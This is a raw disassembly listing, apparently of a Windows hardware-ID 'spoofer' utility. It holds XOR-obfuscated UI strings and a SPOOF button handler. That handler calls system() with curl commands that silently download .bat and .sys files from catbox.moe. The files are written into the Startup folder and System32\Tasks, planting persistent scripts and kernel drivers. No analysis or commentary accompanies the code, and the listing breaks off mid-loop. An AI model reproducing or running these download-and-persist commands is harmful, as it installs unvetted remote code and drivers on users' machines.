mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x610], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x618], rax
movdqa xmm0, xmmword [rbp + 0x610]
xorps xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x740], xmm15
call fcn.140004630
mov rdx, qword [0x1401eb3e8]
lea rcx, [rbp + 0x2d0]
mov qword [rsp + 0x40], r13
lea r9, [rbp + 0x2b8]
movss dword [rsp + 0x38], xmm13
movaps xmm2, xmm7
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x2b8], 0x428c0000
mov dword [rbp + 0x2bc], 0x431b0000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x40]
mov rsi, qword [rax + 0x2a8]
call fcn.140043b60
lea rcx, [rbp + 0x750]
mov rdi, rax
movups xmmword [rbp + 0x750], xmm15
call fcn.140004630
mov rdx, qword [0x1401eb3e8]
lea r9, [rbp + 0x190]
mov qword [rsp + 0x40], r13
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm13
mov rcx, rsi
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
mov dword [rbp + 0x190], 0x432a0000
mov dword [rbp + 0x194], 0x431b0000
call fcn.140024fc0
mov rcx, qword [0x1401eb300]
movabs rsi, 0x2e48593e4cbd1466
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x760]
mov rdi, qword [rax + 0x2a8]
movabs rax, 0xcd021ac348525563
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2c0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2c8], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x620], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x628], rax
movdqa xmm0, xmmword [rbp + 0x620]
xorps xmm0, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2c0], xmm0
movups xmmword [rbp + 0x760], xmm6
call fcn.140004630
movss xmm2, dword [0x140056510]
lea rcx, [rbp + 0x2c0]
mov rdx, qword [0x1401eb3d0]
lea r9, [rbp + 0x198]
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x198], 0x42200000
mov dword [rbp + 0x19c], 0x43390000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x770]
mov rdi, qword [rax + 0x2a8]
movabs rax, 0xcd023af907101a68
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x340], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x348], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x630], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x638], rax
movdqa xmm0, xmmword [rbp + 0x630]
xorps xmm0, xmmword [rbp + 0x340]
movdqa xmmword [rbp + 0x340], xmm0
movups xmmword [rbp + 0x770], xmm15
call fcn.140004630
mov rdx, qword [0x1401eb3e8]
lea rcx, [rbp + 0x340]
mov qword [rsp + 0x40], r13
lea r9, [rbp + 0x1a0]
movss dword [rsp + 0x38], xmm13
movaps xmm2, xmm7
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x1a0], 0x428c0000
mov dword [rbp + 0x1a4], 0x433e0000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
mov rsi, qword [rax + 0x2a8]
lea rcx, [rbp + 0x80]
call fcn.140043b60
lea rcx, [rbp + 0x780]
mov rdi, rax
movups xmmword [rbp + 0x780], xmm15
call fcn.140004630
mov rdx, qword [0x1401eb3e8]
lea r9, [rbp + 0x1a8]
mov qword [rsp + 0x40], r13
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm13
mov rcx, rsi
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
mov dword [rbp + 0x1a8], 0x42f00000
mov dword [rbp + 0x1ac], 0x433e0000
call fcn.140024fc0
mov rcx, qword [0x1401eb300]
movabs rsi, 0x2e48593e4cbd1466
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x790]
mov rdi, qword [rax + 0x2a8]
movabs rax, 0xcd021ac348525552
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2e0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2e8], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
movdqa xmm0, xmmword [rbp + 0x5c0]
xorps xmm0, xmmword [rbp + 0x2e0]
movdqa xmmword [rbp + 0x2e0], xmm0
movups xmmword [rbp + 0x790], xmm6
call fcn.140004630
movss xmm2, dword [0x140056514]
lea rcx, [rbp + 0x2e0]
mov rdx, qword [0x1401eb3f8]
lea r9, [rbp + 0x1b0]
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x1b0], 0x42240000
mov dword [rbp + 0x1b4], 0x435c0000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
mov rdi, qword [rax + 0x2a8]
movabs rax, 0xcd021ae372111468
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2f0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2f8], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x640], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x648], rax
movdqa xmm0, xmmword [rbp + 0x640]
xorps xmm0, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp + 0x2f0], xmm0
movups xmmword [rbp + 0x7a0], xmm15
lea rcx, [rbp + 0x7a0]
call fcn.140004630
mov rdx, qword [0x1401eb3e8]
lea rcx, [rbp + 0x2f0]
mov qword [rsp + 0x40], r13
lea r9, [rbp + 0x1b8]
movss dword [rsp + 0x38], xmm13
movaps xmm2, xmm7
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x1b8], 0x428c0000
mov dword [rbp + 0x1bc], 0x43610000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0xa0]
mov rsi, qword [rax + 0x2a8]
call fcn.140043b60
lea rcx, [rbp + 0x7b0]
mov rdi, rax
movups xmmword [rbp + 0x7b0], xmm15
call fcn.140004630
mov rdx, qword [0x1401eb3e8]
lea r9, [rbp + 0x1c0]
mov qword [rsp + 0x40], r13
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm13
mov rcx, rsi
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
mov dword [rbp + 0x1c0], 0x42dc0000
mov dword [rbp + 0x1c4], 0x43610000
call fcn.140024fc0
lea rcx, [rbp + 0x100]
call fcn.14003a950
mov rcx, qword [0x1401eb300]
movabs rsi, 0x2e48593e4cbd1466
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x7c0]
mov rdi, qword [rax + 0x2a8]
movabs rax, 0xcd021ac348525541
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x650], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x658], rax
movdqa xmm0, xmmword [rbp + 0x650]
xorps xmm0, xmmword [rbp + 0x300]
movdqa xmmword [rbp + 0x300], xmm0
movups xmmword [rbp + 0x7c0], xmm6
call fcn.140004630
movss xmm2, dword [0x14005651c]
lea rcx, [rbp + 0x300]
mov rdx, qword [0x1401eb408]
lea r9, [rbp + 0x1c8]
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x1c8], 0x42140000
mov dword [rbp + 0x1cc], 0x437f0000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x7d0]
mov rdi, qword [rax + 0x2a8]
movabs rax, 0xcd023af90c1b0070
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x660], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x668], rax
movdqa xmm0, xmmword [rbp + 0x660]
xorps xmm0, xmmword [rbp + 0x310]
movdqa xmmword [rbp + 0x310], xmm0
movups xmmword [rbp + 0x7d0], xmm15
call fcn.140004630
mov rdx, qword [0x1401eb3e8]
lea rcx, [rbp + 0x310]
mov qword [rsp + 0x40], r13
lea r9, [rbp + 0x1d0]
movss dword [rsp + 0x38], xmm13
movaps xmm2, xmm7
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x1d0], 0x428c0000
mov dword [rbp + 0x1d4], 0x43820000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x100]
mov rsi, qword [rax + 0x2a8]
call fcn.140043b60
lea rcx, [rbp + 0x7e0]
mov rdi, rax
movups xmmword [rbp + 0x7e0], xmm15
call fcn.140004630
mov rdx, qword [0x1401eb3e8]
lea r9, [rbp + 0x1d8]
mov qword [rsp + 0x40], r13
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm13
mov rcx, rsi
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
mov dword [rbp + 0x1d8], 0x42dc0000
mov dword [rbp + 0x1dc], 0x43820000
call fcn.140024fc0
lea rcx, [rbp + 0x100]
call fcn.140043b70
lea rcx, [rbp + 0xa0]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
lea rcx, [rbp + 0x40]
call fcn.140043b70
call fcn.140016ce0
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x7f0]
mov rdi, qword [rax + 0x2a8]
movups xmmword [rbp + 0x7f0], xmm6
call fcn.140004630
mov dword [rbp + 0x1e0], 0x43cf8000
mov dword [rbp + 0x1e4], 0x43a00000
mov dword [rbp + 0x1e8], 0x420c0000
mov dword [rbp + 0x1ec], 0x43a00000
mov dword [rsp + 0x28], r13d
movss xmm0, dword [0x1400564d0]
lea r8, [rbp + 0x1e0]
mov r9d, eax
movss dword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x1e8]
mov rcx, rdi
call fcn.140024cc0
mov rcx, qword [0x1401eb300]
movabs rsi, 0x2e48593e4cbd1466
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x560]
mov rdi, qword [rax + 0x2a8]
movabs rax, 0xa06d49e32c37306b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xe77295229f53403
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xd0742fd8e3fa0b84
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0xd520043b13fb4b73
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x560], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x568], rax
movabs rax, 0xf0206c99b7b444c7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
movabs rax, 0xd574567443ab1e20
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
vmovdqu ymm0, ymmword [rbp + 0x560]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovups xmmword [rbp + 0x560], xmm15
vzeroupper
call fcn.140004630
mov rdx, qword [0x1401eb3e8]
lea rcx, [rbp + 0x100]
mov qword [rsp + 0x40], r13
lea r9, [rbp + 0x1f0]
movss dword [rsp + 0x38], xmm13
movaps xmm2, xmm7
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x1f0], 0x42bc0000
mov dword [rbp + 0x1f4], 0x43a60000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
lea rcx, [rbp + 0x1f8]
mov dword [rbp + 0x1f8], 0x42480000
mov dword [rbp + 0x1fc], 0x43d20000
call fcn.140016980
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
mov rdi, qword [rax + 0x2a8]
movabs rax, 0xcd7174ac2126256a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
lea rcx, [rbp + 0x810]
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x320]
mov qword [rbp + 0x678], rax
xorps xmm0, xmmword [rbp + 0x670]
movdqa xmmword [rbp + 0x320], xmm0
movups xmmword [rbp + 0x810], xmm15
call fcn.140004630
movss xmm2, dword [0x140056500]
lea rcx, [rbp + 0x320]
mov rdx, qword [0x1401eb3f0]
lea r9, [rbp + 0x200]
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x200], 0x43470000
mov dword [rbp + 0x204], 0x43da0000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
mov dword [rbp + 0x208], 0x43af0000
lea rdx, [rbp + 0x208]
mov dword [rbp + 0x20c], 0x42440000
lea rcx, [rbp + 0x330]
movabs rax, 0xcd7174ac2126256a
xor r8d, r8d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x330], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x338], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x680], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x330]
mov qword [rbp + 0x688], rax
xorps xmm0, xmmword [rbp + 0x680]
movdqa xmmword [rbp + 0x330], xmm0
call fcn.140032300
test al, al
je 0x14003db50
mov dword [0x1401eb310], 2
jmp 0x14003db5f
mov eax, dword [0x1401eb310]
cmp eax, 2
jne 0x140042ea1
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x820]
mov rdi, qword [rax + 0x2a8]
movabs rax, 0x812254e31d727505
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0x2e481d1e0d9d5b46
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x690], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x3d0]
mov qword [rbp + 0x698], rax
xorps xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x820], xmm6
call fcn.140004630
movss xmm2, dword [0x140056528]
lea rcx, [rbp + 0x3d0]
mov rdx, qword [0x1401eb3e0]
lea r9, [rbp + 0x210]
mov qword [rsp + 0x40], r13
movss dword [rsp + 0x38], xmm13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x210], 0x43040000
mov dword [rbp + 0x214], 0x42480000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
movabs rcx, 0xd574567443ab1e20
mov rdi, qword [rax + 0x2a8]
movabs rax, 0xa36774a225203075
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x4b2e36513cee3412
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xf0206c99b7b444b5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x540], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x548], rax
movabs rax, 0xf0206c99b7b444c7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x550], rax
mov qword [rbp], rcx
lea rcx, [rbp + 0x540]
mov rax, qword [rbp]
mov qword [rbp + 0x558], rax
vmovdqu ymm0, ymmword [rbp + 0x540]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovups xmmword [rbp + 0x540], xmm15
vzeroupper
call fcn.140004630
movss xmm6, dword [0x1400564fc]
lea rcx, [rbp + 0x100]
mov rdx, qword [0x1401eb418]
lea r9, [rbp + 0x218]
mov qword [rsp + 0x40], r13
movaps xmm2, xmm6
movss dword [rsp + 0x38], xmm13
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x218], 0x43220000
mov dword [rbp + 0x21c], 0x42a00000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x840]
mov rdi, qword [rax + 0x2a8]
movabs rax, 0x96223ae368727505
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x350], rax
movabs rax, 0x2e4859637c932610
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x358], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x350]
mov qword [rbp + 0x6a8], rax
xorps xmm0, xmmword [rbp + 0x6a0]
movdqa xmmword [rbp + 0x350], xmm0
movdqa xmm0, xmmword [0x140056790]
movups xmmword [rbp + 0x840], xmm0
call fcn.140004630
mov rdx, qword [0x1401eb418]
lea rcx, [rbp + 0x350]
mov qword [rsp + 0x40], r13
lea r9, [rbp + 0x220]
movss dword [rsp + 0x38], xmm13
movaps xmm2, xmm6
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x220], 0x43830000
mov dword [rbp + 0x224], 0x42a00000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x850]
mov rdi, qword [rax + 0x2a8]
movabs rax, 0x8347548205001075
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x370], rax
movabs rax, 0x2e0e16711cee3432
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x378], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x6b8], rax
movdqa xmm0, xmmword [rbp + 0x6b0]
xorps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rbp + 0x370], xmm0
movups xmmword [rbp + 0x850], xmm15
call fcn.140004630
mov dword [rbp + 0x228], 0x41a00000
mov rdx, qword [0x1401eb3d8]
lea rcx, [rbp + 0x370]
mov qword [rsp + 0x40], r13
lea r9, [rbp + 0x228]
movss dword [rsp + 0x38], xmm13
movaps xmm2, xmm7
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x22c], 0x43020000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
lea rcx, [rbp + 0x230]
mov dword [rbp + 0x230], 0xc1a00000
mov dword [rbp + 0x234], 0x43020000
call fcn.140016980
mov rcx, qword [0x1401eb3d8]
call fcn.1400129f0
lea rdx, [0x1401eb489]
lea rcx, [0x1400557b4]
call fcn.140033870
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
movabs rcx, 0xd574567443ab1e20
mov rdi, qword [rax + 0x2a8]
movabs rax, 0x89225f8406131d66
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0x671a1c6d6cf6472f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xf0206c99b7e70886
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x520], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x528], rax
movabs rax, 0xf0206c99b7b444c7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x530], rax
mov qword [rbp], rcx
lea rcx, [rbp + 0x520]
mov rax, qword [rbp]
mov qword [rbp + 0x538], rax
vmovdqu ymm0, ymmword [rbp + 0x520]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovups xmmword [rbp + 0x520], xmm15
vzeroupper
call fcn.140004630
mov rdx, qword [0x1401eb3d8]
lea rcx, [rbp + 0x100]
mov qword [rsp + 0x40], r13
lea r9, [rbp + 0x238]
movss dword [rsp + 0x38], xmm13
movaps xmm2, xmm7
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x238], 0x41a00000
mov dword [rbp + 0x23c], 0x43200000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
lea rcx, [rbp + 0x240]
mov dword [rbp + 0x240], 0xc1a00000
mov dword [rbp + 0x244], 0x43200000
call fcn.140016980
lea rdx, [0x1401ea9fc]
lea rcx, [0x1400557b8]
call fcn.140033870
mov rcx, qword [0x1401eb300]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x870]
mov rdi, qword [rax + 0x2a8]
movabs rax, 0x8c524381681f0571
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x360], rax
movabs rax, 0x2e48593e4cbd4735
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x368], rax
movabs rax, 0xcd021ac348525525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
movdqa xmm0, xmmword [rbp + 0x6c0]
xorps xmm0, xmmword [rbp + 0x360]
movdqa xmmword [rbp + 0x360], xmm0
movups xmmword [rbp + 0x870], xmm15
call fcn.140004630
mov rdx, qword [0x1401eb3d8]
lea rcx, [rbp + 0x360]
mov qword [rsp + 0x40], r13
lea r9, [rbp + 0x248]
movss dword [rsp + 0x38], xmm13
movaps xmm2, xmm7
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rbp + 0x248], 0x41a00000
mov dword [rbp + 0x24c], 0x433e0000
mov dword [rsp + 0x20], eax
call fcn.140024fc0
lea rcx, [rbp + 0x250]
mov dword [rbp + 0x250], 0xc1a00000
mov dword [rbp + 0x254], 0x433e0000
call fcn.140016980
lea rdx, [0x1401eb488]
lea rcx, [0x1400557bc]
call fcn.140033870
call fcn.140012a90
lea rcx, [rbp + 0x258]
mov dword [rbp + 0x120], 0x42f00000
mov dword [rbp + 0x124], 0x42480000
mov dword [rbp + 0x258], 0x41a00000
mov dword [rbp + 0x25c], 0x435c0000
call fcn.140016980
xor r8d, r8d
lea rdx, [rbp + 0x120]
lea rcx, str.SPOOF
call fcn.140032300
test al, al
je 0x140042c8a
cmp byte [0x1401eb489], 1
jne 0x140042bcd
lea rcx, str.curl___silent_https:__files.catbox.moe_oh09l1.bat___output_C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartupdisk.bat__nul_2_1
mov byte [0x1401eb488], r13b
mov byte [0x1401ea9fc], r13b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_8o2zsu.bat___output_C:WindowsSystem32Tasksmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_sdfbn8.sys___output_C:WindowsSystem32Taskswinxsrcsv64.EXE__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_n6i5j0.sys___output_C:WindowsSystem32Taskswinxsrcsv64.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_2mxhwn.sys___output_C:WindowsSystem32Tasksiqvw64e.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x10
lea rcx, [rbp + 0x80]
call fcn.14003a520
movzx ecx, byte [0x140056208]
mov r10, rax
mov byte [rbp + 0xd8], cl
mov r8d, r13d
movups xmm0, xmmword [0x1400561d0]
movups xmm1, xmmword [0x1400561e0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x1400561f0]
movups xmmword [rbp + 0xb0], xmm1
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140056200]
movsd qword [rbp + 0xd0], xmm0
cmp r14d, 2
jl 0x14003e4b5
movdqa xmmword [rbp], xmm12
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
